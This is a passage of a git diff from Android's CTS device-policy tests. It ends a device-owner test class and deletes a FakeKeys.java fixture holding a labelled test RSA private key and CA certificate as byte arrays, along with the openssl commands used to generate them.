+        Log.i(TAG, "device owner provisioning successful");
+        assertTrue(mDpm.isDeviceOwnerApp(getContext().getPackageName()));
+        Log.i(TAG, "device owner app: " + getContext().getPackageName());
+    }
+
+    private List<String> getPackageNameList() {
+        return getPackageNameList(0 /* Default flags */);
+    }
+
+    private List<String> getSystemPackageNameList() {
+        return getPackageNameList(MATCH_SYSTEM_ONLY);
+    }
+
+    private List<String> getPackageNameList(int flags) {
+        return mPackageManager.getInstalledApplications(flags)
+                .stream()
+                .map((ApplicationInfo appInfo) -> appInfo.packageName)
+                .sorted()
+                .collect(toList());
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/FakeKeys.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/FakeKeys.java
deleted file mode 100644
index 11df8e5..0000000
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/FakeKeys.java
+++ /dev/null
@@ -1,469 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceowner;
-
-// Copied from cts/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
-
-public class FakeKeys {
-    /*
-     * The keys and certificates below are generated with:
-     *
-     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
-     * openssl req -newkey rsa:1024 -keyout userkey.pem -nodes -days 3650 -out userkey.req
-     * mkdir -p demoCA/newcerts
-     * touch demoCA/index.txt
-     * echo "01" > demoCA/serial
-     * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
-     */
-    public static class FAKE_RSA_1 {
-        /**
-         * Generated from above and converted with:
-         *
-         * openssl pkcs8 -topk8 -outform d -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
-         */
-        public static final byte[] privateKey = {
-            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x78, (byte) 0x02, (byte) 0x01,
-            (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a,
-            (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01,
-            (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04, (byte) 0x82,
-            (byte) 0x02, (byte) 0x62, (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x5e,
-            (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x81, (byte) 0x81,
-            (byte) 0x00, (byte) 0xce, (byte) 0x29, (byte) 0xeb, (byte) 0xf6, (byte) 0x5b,
-            (byte) 0x25, (byte) 0xdc, (byte) 0xa1, (byte) 0xa6, (byte) 0x2c, (byte) 0x66,
-            (byte) 0xcb, (byte) 0x20, (byte) 0x90, (byte) 0x27, (byte) 0x86, (byte) 0x8a,
-            (byte) 0x44, (byte) 0x71, (byte) 0x50, (byte) 0xda, (byte) 0xd3, (byte) 0x02,
-            (byte) 0x77, (byte) 0x55, (byte) 0xe9, (byte) 0xe8, (byte) 0x08, (byte) 0xf3,
-            (byte) 0x36, (byte) 0x9a, (byte) 0xae, (byte) 0xab, (byte) 0x04, (byte) 0x6d,
-            (byte) 0x00, (byte) 0x99, (byte) 0xbf, (byte) 0x7d, (byte) 0x0f, (byte) 0x67,
-            (byte) 0x8b, (byte) 0x1d, (byte) 0xd4, (byte) 0x2b, (byte) 0x7c, (byte) 0xcb,
-            (byte) 0xcd, (byte) 0x33, (byte) 0xc7, (byte) 0x84, (byte) 0x30, (byte) 0xe2,
-            (byte) 0x45, (byte) 0x21, (byte) 0xb3, (byte) 0x75, (byte) 0xf5, (byte) 0x79,
-            (byte) 0x02, (byte) 0xda, (byte) 0x50, (byte) 0xa3, (byte) 0x8b, (byte) 0xce,
-            (byte) 0xc3, (byte) 0x8e, (byte) 0x0f, (byte) 0x25, (byte) 0xeb, (byte) 0x08,
-            (byte) 0x2c, (byte) 0xdd, (byte) 0x1c, (byte) 0xcf, (byte) 0xff, (byte) 0x3b,
-            (byte) 0xde, (byte) 0xb6, (byte) 0xaa, (byte) 0x2a, (byte) 0xa9, (byte) 0xc4,
-            (byte) 0x8a, (byte) 0x24, (byte) 0x24, (byte) 0xe6, (byte) 0x29, (byte) 0x0d,
-            (byte) 0x98, (byte) 0x4c, (byte) 0x32, (byte) 0xa1, (byte) 0x7b, (byte) 0x23,
-            (byte) 0x2b, (byte) 0x42, (byte) 0x30, (byte) 0xee, (byte) 0x78, (byte) 0x08,
-            (byte) 0x47, (byte) 0xad, (byte) 0xf2, (byte) 0x96, (byte) 0xd5, (byte) 0xf1,
-            (byte) 0x62, (byte) 0x42, (byte) 0x2d, (byte) 0x35, (byte) 0x19, (byte) 0xb4,
-            (byte) 0x3c, (byte) 0xc9, (byte) 0xc3, (byte) 0x5f, (byte) 0x03, (byte) 0x16,
-            (byte) 0x3a, (byte) 0x23, (byte) 0xac, (byte) 0xcb, (byte) 0xce, (byte) 0x9e,
-            (byte) 0x51, (byte) 0x2e, (byte) 0x6d, (byte) 0x02, (byte) 0x03, (byte) 0x01,
-            (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x81, (byte) 0x80, (byte) 0x16,
-            (byte) 0x59, (byte) 0xc3, (byte) 0x24, (byte) 0x1d, (byte) 0x33, (byte) 0x98,
-            (byte) 0x9c, (byte) 0xc9, (byte) 0xc8, (byte) 0x2c, (byte) 0x88, (byte) 0xbf,
-            (byte) 0x0a, (byte) 0x01, (byte) 0xce, (byte) 0xfb, (byte) 0x34, (byte) 0x7a,
-            (byte) 0x58, (byte) 0x7a, (byte) 0xb0, (byte) 0xbf, (byte) 0xa6, (byte) 0xb2,
-            (byte) 0x60, (byte) 0xbe, (byte) 0x70, (byte) 0x21, (byte) 0xf5, (byte) 0xfc,
-            (byte) 0x85, (byte) 0x0d, (byte) 0x33, (byte) 0x58, (byte) 0xa1, (byte) 0xe5,
-            (byte) 0x09, (byte) 0x36, (byte) 0x84, (byte) 0xb2, (byte) 0x04, (byte) 0x0a,
-            (byte) 0x02, (byte) 0xd3, (byte) 0x88, (byte) 0x1f, (byte) 0x0c, (byte) 0x2b,
-            (byte) 0x1d, (byte) 0xe9, (byte) 0x3d, (byte) 0xe7, (byte) 0x79, (byte) 0xf9,
-            (byte) 0x32, (byte) 0x5c, (byte) 0x8a, (byte) 0x75, (byte) 0x49, (byte) 0x12,
-            (byte) 0xe4, (byte) 0x05, (byte) 0x26, (byte) 0xd4, (byte) 0x2e, (byte) 0x9e,
-            (byte) 0x1f, (byte) 0xcc, (byte) 0x54, (byte) 0xad, (byte) 0x33, (byte) 0x8d,
-            (byte) 0x99, (byte) 0x00, (byte) 0xdc, (byte) 0xf5, (byte) 0xb4, (byte) 0xa2,
-            (byte) 0x2f, (byte) 0xba, (byte) 0xe5, (byte) 0x62, (byte) 0x30, (byte) 0x6d,
-            (byte) 0xe6, (byte) 0x3d, (byte) 0xeb, (byte) 0x24, (byte) 0xc2, (byte) 0xdc,
-            (byte) 0x5f, (byte) 0xb7, (byte) 0x16, (byte) 0x35, (byte) 0xa3, (byte) 0x98,
-            (byte) 0x98, (byte) 0xa8, (byte) 0xef, (byte) 0xe8, (byte) 0xc4, (byte) 0x96,
-            (byte) 0x6d, (byte) 0x38, (byte) 0xab, (byte) 0x26, (byte) 0x6d, (byte) 0x30,
-            (byte) 0xc2, (byte) 0xa0, (byte) 0x44, (byte) 0xe4, (byte) 0xff, (byte) 0x7e,
-            (byte) 0xbe, (byte) 0x7c, (byte) 0x33, (byte) 0xa5, (byte) 0x10, (byte) 0xad,
-            (byte) 0xd7, (byte) 0x1e, (byte) 0x13, (byte) 0x20, (byte) 0xb3, (byte) 0x1f,
-            (byte) 0x41, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xf1, (byte) 0x89,
-            (byte) 0x07, (byte) 0x0f, (byte) 0xe8, (byte) 0xcf, (byte) 0xab, (byte) 0x13,
-            (byte) 0x2a, (byte) 0x8f, (byte) 0x88, (byte) 0x80, (byte) 0x11, (byte) 0x9a,
-            (byte) 0x79, (byte) 0xb6, (byte) 0x59, (byte) 0x3a, (byte) 0x50, (byte) 0x6e,
-            (byte) 0x57, (byte) 0x37, (byte) 0xab, (byte) 0x2a, (byte) 0xd2, (byte) 0xaa,
-            (byte) 0xd9, (byte) 0x72, (byte) 0x73, (byte) 0xff, (byte) 0x8b, (byte) 0x47,
-            (byte) 0x76, (byte) 0xdd, (byte) 0xdc, (byte) 0xf5, (byte) 0x97, (byte) 0x44,
-            (byte) 0x3a, (byte) 0x78, (byte) 0xbe, (byte) 0x17, (byte) 0xb4, (byte) 0x22,
-            (byte) 0x6f, (byte) 0xe5, (byte) 0x23, (byte) 0x70, (byte) 0x1d, (byte) 0x10,
-            (byte) 0x5d, (byte) 0xba, (byte) 0x16, (byte) 0x81, (byte) 0xf1, (byte) 0x45,
-            (byte) 0xce, (byte) 0x30, (byte) 0xb4, (byte) 0xab, (byte) 0x80, (byte) 0xe4,
-            (byte) 0x98, (byte) 0x31, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xda,
-            (byte) 0x82, (byte) 0x9d, (byte) 0x3f, (byte) 0xca, (byte) 0x2f, (byte) 0xe1,
-            (byte) 0xd4, (byte) 0x86, (byte) 0x77, (byte) 0x48, (byte) 0xa6, (byte) 0xab,
-            (byte) 0xab, (byte) 0x1c, (byte) 0x42, (byte) 0x5c, (byte) 0xd5, (byte) 0xc7,
-            (byte) 0x46, (byte) 0x59, (byte) 0x91, (byte) 0x3f, (byte) 0xfc, (byte) 0xcc,
-            (byte) 0xec, (byte) 0xc2, (byte) 0x40, (byte) 0x12, (byte) 0x2c, (byte) 0x8d,
-            (byte) 0x1f, (byte) 0xa2, (byte) 0x18, (byte) 0x88, (byte) 0xee, (byte) 0x82,
-            (byte) 0x4a, (byte) 0x5a, (byte) 0x5e, (byte) 0x88, (byte) 0x20, (byte) 0xe3,
-            (byte) 0x7b, (byte) 0xe0, (byte) 0xd8, (byte) 0x3a, (byte) 0x52, (byte) 0x9a,
-            (byte) 0x26, (byte) 0x6a, (byte) 0x04, (byte) 0xec, (byte) 0xe8, (byte) 0xb9,
-            (byte) 0x48, (byte) 0x40, (byte) 0xe1, (byte) 0xe1, (byte) 0x83, (byte) 0xa6,
-            (byte) 0x67, (byte) 0xa6, (byte) 0xfd, (byte) 0x02, (byte) 0x41, (byte) 0x00,
-            (byte) 0x89, (byte) 0x72, (byte) 0x3e, (byte) 0xb0, (byte) 0x90, (byte) 0xfd,
-            (byte) 0x4c, (byte) 0x0e, (byte) 0xd6, (byte) 0x13, (byte) 0x63, (byte) 0xcb,
-            (byte) 0xed, (byte) 0x38, (byte) 0x88, (byte) 0xb6, (byte) 0x79, (byte) 0xc4,
-            (byte) 0x33, (byte) 0x6c, (byte) 0xf6, (byte) 0xf8, (byte) 0xd8, (byte) 0xd0,
-            (byte) 0xbf, (byte) 0x9d, (byte) 0x35, (byte) 0xac, (byte) 0x69, (byte) 0xd2,
-            (byte) 0x2b, (byte) 0xc1, (byte) 0xf9, (byte) 0x24, (byte) 0x7b, (byte) 0xce,
-            (byte) 0xcd, (byte) 0xcb, (byte) 0xa7, (byte) 0xb2, (byte) 0x7a, (byte) 0x0a,
-            (byte) 0x27, (byte) 0x19, (byte) 0xc9, (byte) 0xaf, (byte) 0x0d, (byte) 0x21,
-            (byte) 0x89, (byte) 0x88, (byte) 0x7c, (byte) 0xad, (byte) 0x9e, (byte) 0x8d,
-            (byte) 0x47, (byte) 0x6d, (byte) 0x3f, (byte) 0xce, (byte) 0x7b, (byte) 0xa1,
-            (byte) 0x74, (byte) 0xf1, (byte) 0xa0, (byte) 0xa1, (byte) 0x02, (byte) 0x41,
-            (byte) 0x00, (byte) 0xd9, (byte) 0xa8, (byte) 0xf5, (byte) 0xfe, (byte) 0xce,
-            (byte) 0xe6, (byte) 0x77, (byte) 0x6b, (byte) 0xfe, (byte) 0x2d, (byte) 0xe0,
-            (byte) 0x1e, (byte) 0xb6, (byte) 0x2e, (byte) 0x12, (byte) 0x4e, (byte) 0x40,
-            (byte) 0xaf, (byte) 0x6a, (byte) 0x7b, (byte) 0x37, (byte) 0x49, (byte) 0x2a,
-            (byte) 0x96, (byte) 0x25, (byte) 0x83, (byte) 0x49, (byte) 0xd4, (byte) 0x0c,
-            (byte) 0xc6, (byte) 0x78, (byte) 0x25, (byte) 0x24, (byte) 0x90, (byte) 0x90,
-            (byte) 0x06, (byte) 0x15, (byte) 0x9e, (byte) 0xfe, (byte) 0xf9, (byte) 0xdf,
-            (byte) 0x5b, (byte) 0xf3, (byte) 0x7e, (byte) 0x38, (byte) 0x70, (byte) 0xeb,
-            (byte) 0x57, (byte) 0xd0, (byte) 0xd9, (byte) 0xa7, (byte) 0x0e, (byte) 0x14,
-            (byte) 0xf7, (byte) 0x95, (byte) 0x68, (byte) 0xd5, (byte) 0xc8, (byte) 0xab,
-            (byte) 0x9d, (byte) 0x3a, (byte) 0x2b, (byte) 0x51, (byte) 0xf9, (byte) 0x02,
-            (byte) 0x41, (byte) 0x00, (byte) 0x96, (byte) 0xdf, (byte) 0xe9, (byte) 0x67,
-            (byte) 0x6c, (byte) 0xdc, (byte) 0x90, (byte) 0x14, (byte) 0xb4, (byte) 0x1d,
-            (byte) 0x22, (byte) 0x33, (byte) 0x4a, (byte) 0x31, (byte) 0xc1, (byte) 0x9d,
-            (byte) 0x2e, (byte) 0xff, (byte) 0x9a, (byte) 0x2a, (byte) 0x95, (byte) 0x4b,
-            (byte) 0x27, (byte) 0x74, (byte) 0xcb, (byte) 0x21, (byte) 0xc3, (byte) 0xd2,
-            (byte) 0x0b, (byte) 0xb2, (byte) 0x46, (byte) 0x87, (byte) 0xf8, (byte) 0x28,
-            (byte) 0x01, (byte) 0x8b, (byte) 0xd8, (byte) 0xb9, (byte) 0x4b, (byte) 0xcd,
-            (byte) 0x9a, (byte) 0x96, (byte) 0x41, (byte) 0x0e, (byte) 0x36, (byte) 0x6d,
-            (byte) 0x40, (byte) 0x42, (byte) 0xbc, (byte) 0xd9, (byte) 0xd3, (byte) 0x7b,
-            (byte) 0xbc, (byte) 0xa7, (byte) 0x92, (byte) 0x90, (byte) 0xdd, (byte) 0xa1,
-            (byte) 0x9c, (byte) 0xce, (byte) 0xa1, (byte) 0x87, (byte) 0x11, (byte) 0x51
-        };
-
-        /**
-         * Generated from above and converted with:
-         *
-         * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
-         */
-        public static final byte[] caCertificate = {
-            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0xce, (byte) 0x30, (byte) 0x82,
-            (byte) 0x02, (byte) 0x37, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
-            (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0xe1, (byte) 0x6a,
-            (byte) 0xa2, (byte) 0xf4, (byte) 0x2e, (byte) 0x55, (byte) 0x48, (byte) 0x0a,
-            (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
-            (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
-            (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x4f, (byte) 0x31,
-            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53,
-            (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03,
-            (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43,
-            (byte) 0x41, (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06,
-            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d,
-            (byte) 0x4d, (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61,
-            (byte) 0x69, (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65,
-            (byte) 0x77, (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06,
-            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12,
-            (byte) 0x41, (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69,
-            (byte) 0x64, (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74,
-            (byte) 0x20, (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73,
-            (byte) 0x30, (byte) 0x1e, (byte) 0x17, (byte) 0x0d, (byte) 0x31, (byte) 0x32,
-            (byte) 0x30, (byte) 0x38, (byte) 0x31, (byte) 0x34, (byte) 0x31, (byte) 0x36,
-            (byte) 0x35, (byte) 0x35, (byte) 0x34, (byte) 0x34, (byte) 0x5a, (byte) 0x17,
-            (byte) 0x0d, (byte) 0x32, (byte) 0x32, (byte) 0x30, (byte) 0x38, (byte) 0x31,
-            (byte) 0x32, (byte) 0x31, (byte) 0x36, (byte) 0x35, (byte) 0x35, (byte) 0x34,
-            (byte) 0x34, (byte) 0x5a, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b,
-            (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
-            (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31,
-            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41,
-            (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03,
-            (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d,
-            (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69,
-            (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77,
-            (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03,
-            (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41,
-            (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64,
-            (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20,
-            (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x30,
-            (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
-            (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
-            (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
-            (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
-            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa3, (byte) 0x72,
-            (byte) 0xab, (byte) 0xd0, (byte) 0xe4, (byte) 0xad, (byte) 0x2f, (byte) 0xe7,
-            (byte) 0xe2, (byte) 0x79, (byte) 0x07, (byte) 0x36, (byte) 0x3d, (byte) 0x0c,
-            (byte) 0x8d, (byte) 0x42, (byte) 0x9a, (byte) 0x0a, (byte) 0x33, (byte) 0x64,
-            (byte) 0xb3, (byte) 0xcd, (byte) 0xb2, (byte) 0xd7, (byte) 0x3a, (byte) 0x42,
-            (byte) 0x06, (byte) 0x77, (byte) 0x45, (byte) 0x29, (byte) 0xe9, (byte) 0xcb,
-            (byte) 0xb7, (byte) 0x4a, (byte) 0xd6, (byte) 0xee, (byte) 0xad, (byte) 0x01,
-            (byte) 0x91, (byte) 0x9b, (byte) 0x0c, (byte) 0x59, (byte) 0xa1, (byte) 0x03,
-            (byte) 0xfa, (byte) 0xf0, (byte) 0x5a, (byte) 0x7c, (byte) 0x4f, (byte) 0xf7,
-            (byte) 0x8d, (byte) 0x36, (byte) 0x0f, (byte) 0x1f, (byte) 0x45, (byte) 0x7d,
-            (byte) 0x1b, (byte) 0x31, (byte) 0xa1, (byte) 0x35, (byte) 0x0b, (byte) 0x00,
-            (byte) 0xed, (byte) 0x7a, (byte) 0xb6, (byte) 0xc8, (byte) 0x4e, (byte) 0xa9,
-            (byte) 0x86, (byte) 0x4c, (byte) 0x7b, (byte) 0x99, (byte) 0x57, (byte) 0x41,
-            (byte) 0x12, (byte) 0xef, (byte) 0x6b, (byte) 0xbc, (byte) 0x3d, (byte) 0x60,
-            (byte) 0xf2, (byte) 0x99, (byte) 0x1a, (byte) 0xcd, (byte) 0xed, (byte) 0x56,
-            (byte) 0xa4, (byte) 0xe5, (byte) 0x36, (byte) 0x9f, (byte) 0x24, (byte) 0x1f,
-            (byte) 0xdc, (byte) 0x89, (byte) 0x40, (byte) 0xc8, (byte) 0x99, (byte) 0x92,
-            (byte) 0xab, (byte) 0x4a, (byte) 0xb5, (byte) 0x61, (byte) 0x45, (byte) 0x62,
-            (byte) 0xff, (byte) 0xa3, (byte) 0x45, (byte) 0x65, (byte) 0xaf, (byte) 0xf6,
-            (byte) 0x27, (byte) 0x30, (byte) 0x51, (byte) 0x0e, (byte) 0x0e, (byte) 0xeb,
-            (byte) 0x79, (byte) 0x0c, (byte) 0xbe, (byte) 0xb3, (byte) 0x0a, (byte) 0x6f,
-            (byte) 0x29, (byte) 0x06, (byte) 0xdc, (byte) 0x2f, (byte) 0x6b, (byte) 0x51,
-            (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
-            (byte) 0x81, (byte) 0xb1, (byte) 0x30, (byte) 0x81, (byte) 0xae, (byte) 0x30,
-            (byte) 0x1d, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e,
-            (byte) 0x04, (byte) 0x16, (byte) 0x04, (byte) 0x14, (byte) 0x33, (byte) 0x05,
-            (byte) 0xee, (byte) 0xfe, (byte) 0x6f, (byte) 0x60, (byte) 0xc7, (byte) 0xf9,
-            (byte) 0xa9, (byte) 0xd2, (byte) 0x73, (byte) 0x5c, (byte) 0x8f, (byte) 0x6d,
-            (byte) 0xa2, (byte) 0x2f, (byte) 0x97, (byte) 0x8e, (byte) 0x5d, (byte) 0x51,
-            (byte) 0x30, (byte) 0x7f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d,
-            (byte) 0x23, (byte) 0x04, (byte) 0x78, (byte) 0x30, (byte) 0x76, (byte) 0x80,
-            (byte) 0x14, (byte) 0x33, (byte) 0x05, (byte) 0xee, (byte) 0xfe, (byte) 0x6f,
-            (byte) 0x60, (byte) 0xc7, (byte) 0xf9, (byte) 0xa9, (byte) 0xd2, (byte) 0x73,
-            (byte) 0x5c, (byte) 0x8f, (byte) 0x6d, (byte) 0xa2, (byte) 0x2f, (byte) 0x97,
-            (byte) 0x8e, (byte) 0x5d, (byte) 0x51, (byte) 0xa1, (byte) 0x53, (byte) 0xa4,
-            (byte) 0x51, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b, (byte) 0x30,
-            (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06,
-            (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31, (byte) 0x0b,
-            (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
-            (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41, (byte) 0x31,
-            (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d, (byte) 0x6f,
-            (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69, (byte) 0x6e,
-            (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77, (byte) 0x31,
-            (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41, (byte) 0x6e,
-            (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64, (byte) 0x20,
-            (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20, (byte) 0x43,
-            (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x82, (byte) 0x09,
-            (byte) 0x00, (byte) 0xe1, (byte) 0x6a, (byte) 0xa2, (byte) 0xf4, (byte) 0x2e,
-            (byte) 0x55, (byte) 0x48, (byte) 0x0a, (byte) 0x30, (byte) 0x0c, (byte) 0x06,
-            (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05,
-            (byte) 0x30, (byte) 0x03, (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30,
-            (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48,
-            (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05,
-            (byte) 0x05, (byte) 0x00, (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00,
-            (byte) 0x8c, (byte) 0x30, (byte) 0x42, (byte) 0xfa, (byte) 0xeb, (byte) 0x1a,
-            (byte) 0x26, (byte) 0xeb, (byte) 0xda, (byte) 0x56, (byte) 0x32, (byte) 0xf2,
-            (byte) 0x9d, (byte) 0xa5, (byte) 0x24, (byte) 0xd8, (byte) 0x3a, (byte) 0xda,
-            (byte) 0x30, (byte) 0xa6, (byte) 0x8b, (byte) 0x46, (byte) 0xfe, (byte) 0xfe,
-            (byte) 0xdb, (byte) 0xf1, (byte) 0xe6, (byte) 0xe1, (byte) 0x7c, (byte) 0x1b,
-            (byte) 0xe7, (byte) 0x77, (byte) 0x00, (byte) 0xa1, (byte) 0x1c, (byte) 0x19,
-            (byte) 0x17, (byte) 0x73, (byte) 0xb0, (byte) 0xf0, (byte) 0x9d, (byte) 0xf3,
-            (byte) 0x4f, (byte) 0xb6, (byte) 0xbc, (byte) 0xc7, (byte) 0x47, (byte) 0x85,
-            (byte) 0x2a, (byte) 0x4a, (byte) 0xa1, (byte) 0xa5, (byte) 0x58, (byte) 0xf5,
-            (byte) 0xc5, (byte) 0x1a, (byte) 0x51, (byte) 0xb1, (byte) 0x04, (byte) 0x80,
-            (byte) 0xee, (byte) 0x3a, (byte) 0xec, (byte) 0x2f, (byte) 0xe1, (byte) 0xfd,
-            (byte) 0x58, (byte) 0xeb, (byte) 0xed, (byte) 0x82, (byte) 0x9e, (byte) 0x38,
-            (byte) 0xa3, (byte) 0x24, (byte) 0x75, (byte) 0xf7, (byte) 0x3e, (byte) 0xc2,
-            (byte) 0xc5, (byte) 0x27, (byte) 0xeb, (byte) 0x6f, (byte) 0x7b, (byte) 0x50,
-            (byte) 0xda, (byte) 0x43, (byte) 0xdc, (byte) 0x3b, (byte) 0x0b, (byte) 0x6f,
-            (byte) 0x78, (byte) 0x8f, (byte) 0xb0, (byte) 0x66, (byte) 0xe1, (byte) 0x12,
-            (byte) 0x87, (byte) 0x5f, (byte) 0x97, (byte) 0x7b, (byte) 0xca, (byte) 0x14,
-            (byte) 0x79, (byte) 0xf7, (byte) 0xe8, (byte) 0x6c, (byte) 0x72, (byte) 0xdb,
-            (byte) 0x91, (byte) 0x65, (byte) 0x17, (byte) 0x54, (byte) 0xe0, (byte) 0x74,
-            (byte) 0x1d, (byte) 0xac, (byte) 0x47, (byte) 0x04, (byte) 0x12, (byte) 0xe0,
-            (byte) 0xc3, (byte) 0x66, (byte) 0x19, (byte) 0x05, (byte) 0x2e, (byte) 0x7e,
-            (byte) 0xf1, (byte) 0x61
-        };
-    }
-
-    /*
-     * The keys and certificates below are generated with:
-     *
-     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
-     * openssl dsaparam -out dsaparam.pem 1024
-     * openssl req -newkey dsa:dsaparam.pem -keyout userkey.pem -nodes -days 3650 -out userkey.req
-     * mkdir -p demoCA/newcerts
-     * touch demoCA/index.txt
-     * echo "01" > demoCA/serial
-     * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
-     */
